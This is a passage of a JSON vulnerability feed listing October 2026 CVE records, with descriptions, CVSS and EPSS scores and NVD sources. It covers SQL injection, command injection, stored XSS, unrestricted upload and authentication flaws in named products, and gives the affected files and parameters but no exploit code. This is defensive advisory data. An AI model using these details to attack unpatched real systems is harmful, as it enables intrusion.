AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This vulnerability affects unknown code of the file User/login.php of the component Login Form. Such manipulation of the argument email/passwd leads to improper authentication. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T09:17:15.550Z","updatedAt":"2026-10-13T14:17:25.257Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109114","asOf":"2026-10-13T14:17:25.257Z"},"epss":{"probability":0.00514,"percentile":0.43542,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109114&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109114","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109114","type":"primary","publishedAt":"2026-10-13T09:17:15.550Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109114&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109114, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108179","cveId":"CVE-2026-108179","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in PluginUs.Net WOLF bulk-editor allows Blind SQL Injection.This issue affects...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in PluginUs.Net WOLF bulk-editor allows Blind SQL Injection.This issue affects WOLF: from n/a through 1.1.1.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in PluginUs.Net WOLF bulk-editor allows Blind SQL Injection.This issue affects WOLF: from n/a through 1.1.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T09:17:14.153Z","updatedAt":"2026-10-13T13:28:15.717Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108179","asOf":"2026-10-13T13:28:15.717Z"},"epss":{"probability":0.00236,"percentile":0.14473,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108179&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108179","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108179","type":"primary","publishedAt":"2026-10-13T09:17:14.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108179&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108179, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101020","cveId":"CVE-2026-101020","aliases":[],"kind":"vulnerability","title":"An incorrect permission assignment for critical resource issue exists in AssetView, AssetView CLOUD, and AssetView Cloud +.","summary":"An incorrect permission assignment for critical resource issue exists in AssetView, AssetView CLOUD, and AssetView Cloud +. If this vulnerability is exploited, a local authenticated attacker who can log in to the Windows system where Management Console or Client Terminal for the product is running may gain SYSTEM privileges.","detail":"An incorrect permission assignment for critical resource issue exists in AssetView, AssetView CLOUD, and AssetView Cloud +. If this vulnerability is exploited, a local authenticated attacker who can log in to the Windows system where Management Console or Client Terminal for the product is running may gain SYSTEM privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T09:17:13.257Z","updatedAt":"2026-10-16T18:17:10.527Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101020","asOf":"2026-10-16T18:17:10.527Z"},"epss":{"probability":0.00104,"percentile":0.01024,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101020&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101020","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101020","type":"primary","publishedAt":"2026-10-13T09:17:13.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101020&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101020, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109108","cveId":"CVE-2026-109108","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in Wavlink WL-WN530BE1-A 251117. This affects the function popen of the file /cgi-bin/uploadVpn.cgi.","summary":"A security vulnerability has been detected in Wavlink WL-WN530BE1-A 251117. This affects the function popen of the file /cgi-bin/uploadVpn.cgi. Such manipulation of the argument Type leads to os command injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure.","detail":"A security vulnerability has been detected in Wavlink WL-WN530BE1-A 251117. This affects the function popen of the file /cgi-bin/uploadVpn.cgi. Such manipulation of the argument Type leads to os command injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T08:16:59.917Z","updatedAt":"2026-10-16T22:17:18.117Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109108","asOf":"2026-10-16T22:17:18.117Z"},"epss":{"probability":0.01652,"percentile":0.76366,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109108&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109108","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109108","type":"primary","publishedAt":"2026-10-13T08:16:59.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109108&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109108, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103418","cveId":"CVE-2026-103418","aliases":[],"kind":"vulnerability","title":"Firefox for iOS directly interpolated the page’s HTML language attribute into translation JavaScript, allowing attacker-controlled markup to execute code in Firefox’s privileged...","summary":"Firefox for iOS directly interpolated the page’s HTML language attribute into translation JavaScript, allowing attacker-controlled markup to execute code in Firefox’s privileged content world and bypass the page’s Content Security Policy. This vulnerability was fixed in Firefox for iOS 157.1.","detail":"Firefox for iOS directly interpolated the page’s HTML language attribute into translation JavaScript, allowing attacker-controlled markup to execute code in Firefox’s privileged content world and bypass the page’s Content Security Policy. This vulnerability was fixed in Firefox for iOS 157.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T08:16:59.560Z","updatedAt":"2026-10-14T04:18:08.707Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Mozilla Firefox and Thunderbird"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103418","asOf":"2026-10-14T04:18:08.707Z"},"epss":{"probability":0.00301,"percentile":0.22637,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103418&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103418","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103418","type":"primary","publishedAt":"2026-10-13T08:16:59.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103418&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103418, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102562","cveId":"CVE-2026-102562","aliases":[],"kind":"vulnerability","title":"The AcyMailing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the customField[] parameter of the public frontusers::subscribe endpoint in versions up to,...","summary":"The AcyMailing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the customField[] parameter of the public frontusers::subscribe endpoint in versions up to, and including, 11.1.0. This is due to insufficient input sanitization and output escaping in the acym_cleanVar() sanitizer, whose HTML-tag stripper only matches complete tags (requiring a closing '>'), together with SubscriberInsertion::replaceUserInformation() and the archive view template, which substitute the stored subscriber field value into the mail body and emit it without HTML encoding. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the online-archive URL for the poisoned subscriber, including administrators who click the plugin-generated link in the Subscribers → History screen.","detail":"The AcyMailing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the customField[] parameter of the public frontusers::subscribe endpoint in versions up to, and including, 11.1.0. This is due to insufficient input sanitization and output escaping in the acym_cleanVar() sanitizer, whose HTML-tag stripper only matches complete tags (requiring a closing '>'), together with SubscriberInsertion::replaceUserInformation() and the archive view template, which substitute the stored subscriber field value into the mail body and emit it without HTML encoding. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the online-archive URL for the poisoned subscriber, including administrators who click the plugin-generated link in the Subscribers → History screen.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T08:16:59.263Z","updatedAt":"2026-10-15T17:17:10.010Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102562","asOf":"2026-10-15T17:17:10.010Z"},"epss":{"probability":0.00247,"percentile":0.15807,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102562&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102562","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102562","type":"primary","publishedAt":"2026-10-13T08:16:59.263Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102562&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102562, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102007","cveId":"CVE-2026-102007","aliases":[],"kind":"vulnerability","title":"The Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'field mapped...","summary":"The Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'field mapped to notification_content (attacker-chosen key, e.g. payload_text)' parameter in all versions up to, and including, 2.10.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires a site administrator to have preconfigured a Bit Integrations flow that binds the public Bit Assist webhook to a BuddyBoss \"Send Notification\" action with a form field mapped to notification_content, and the attacker to know the flow's UUID callback URL.","detail":"The Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'field mapped to notification_content (attacker-chosen key, e.g. payload_text)' parameter in all versions up to, and including, 2.10.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires a site administrator to have preconfigured a Bit Integrations flow that binds the public Bit Assist webhook to a BuddyBoss \"Send Notification\" action with a form field mapped to notification_content, and the attacker to know the flow's UUID callback URL.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T08:16:57.567Z","updatedAt":"2026-10-14T19:17:01.493Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102007","asOf":"2026-10-14T19:17:01.493Z"},"epss":{"probability":0.00241,"percentile":0.15081,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102007&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102007","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102007","type":"primary","publishedAt":"2026-10-13T08:16:57.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102007&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102007, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75826","cveId":"CVE-2026-75826","aliases":[],"kind":"vulnerability","title":"Command injection in the backup function in Teltonika Networks RUTOS 7.22 before 7.24.6 and 7.25 before 7.25.2 (RUT, RUTX, RUTM, RUTC, ATRM, CAP, OXA, DAP, TRB, OTD, and EBG...","summary":"Command injection in the backup function in Teltonika Networks RUTOS 7.22 before 7.24.6 and 7.25 before 7.25.2 (RUT, RUTX, RUTM, RUTC, ATRM, CAP, OXA, DAP, TRB, OTD, and EBG devices), RUTOS 7.22 before 7.25.2 (TAP devices), and TSWOS 1.9 before 1.10.4 (TSW and SWM devices) allows a remote authenticated attacker to execute arbitrary OS commands.","detail":"Command injection in the backup function in Teltonika Networks RUTOS 7.22 before 7.24.6 and 7.25 before 7.25.2 (RUT, RUTX, RUTM, RUTC, ATRM, CAP, OXA, DAP, TRB, OTD, and EBG devices), RUTOS 7.22 before 7.25.2 (TAP devices), and TSWOS 1.9 before 1.10.4 (TSW and SWM devices) allows a remote authenticated attacker to execute arbitrary OS commands.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T07:16:32.573Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75826","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00939,"percentile":0.60655,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75826&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-75826","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75826","type":"primary","publishedAt":"2026-10-13T07:16:32.573Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75826&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75826, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108975","cveId":"CVE-2026-108975","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in SourceCodester Library Management System 1.0. This vulnerability affects the function move_uploaded_file of the file admin/add_admin.php.","summary":"A security flaw has been discovered in SourceCodester Library Management System 1.0. This vulnerability affects the function move_uploaded_file of the file admin/add_admin.php. Performing a manipulation of the argument image results in unrestricted upload. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks.","detail":"A security flaw has been discovered in SourceCodester Library Management System 1.0. This vulnerability affects the function move_uploaded_file of the file admin/add_admin.php. Performing a manipulation of the argument image results in unrestricted upload. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T07:16:31.680Z","updatedAt":"2026-10-14T14:17:36.523Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108975","asOf":"2026-10-14T14:17:36.523Z"},"epss":{"probability":0.00288,"percentile":0.21159,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108975&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108975","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108975","type":"primary","publishedAt":"2026-10-13T07:16:31.680Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108975&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108975, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108974","cveId":"CVE-2026-108974","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in SourceCodester E-Learning System 1.0. This affects the function save_users of the file /classes/Users.php?f=save.","summary":"A vulnerability was identified in SourceCodester E-Learning System 1.0. This affects the function save_users of the file /classes/Users.php?f=save. Such manipulation of the argument img leads to unrestricted upload. The attack can be launched remotely. The exploit is publicly available and might be used.","detail":"A vulnerability was identified in SourceCodester E-Learning System 1.0. This affects the function save_users of the file /classes/Users.php?f=save. Such manipulation of the argument img leads to unrestricted upload. The attack can be launched remotely. The exploit is publicly available and might be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T07:16:31.490Z","updatedAt":"2026-10-16T22:17:17.993Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108974","asOf":"2026-10-16T22:17:17.993Z"},"epss":{"probability":0.00288,"percentile":0.21158,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108974&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108974","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108974","type":"primary","publishedAt":"2026-10-13T07:16:31.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108974&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108974, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108973","cveId":"CVE-2026-108973","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in SourceCodester Contact Tracing System 1.0. Affected by this issue is the function move_uploaded_file of the file /classes/Users.php?f=save.","summary":"A vulnerability was determined in SourceCodester Contact Tracing System 1.0. Affected by this issue is the function move_uploaded_file of the file /classes/Users.php?f=save. This manipulation of the argument img/id causes unrestricted upload. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized.","detail":"A vulnerability was determined in SourceCodester Contact Tracing System 1.0. Affected by this issue is the function move_uploaded_file of the file /classes/Users.php?f=save. This manipulation of the argument img/id causes unrestricted upload. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized.\n\nNVD status: Deferred. Publication in the NVD is not evidence of 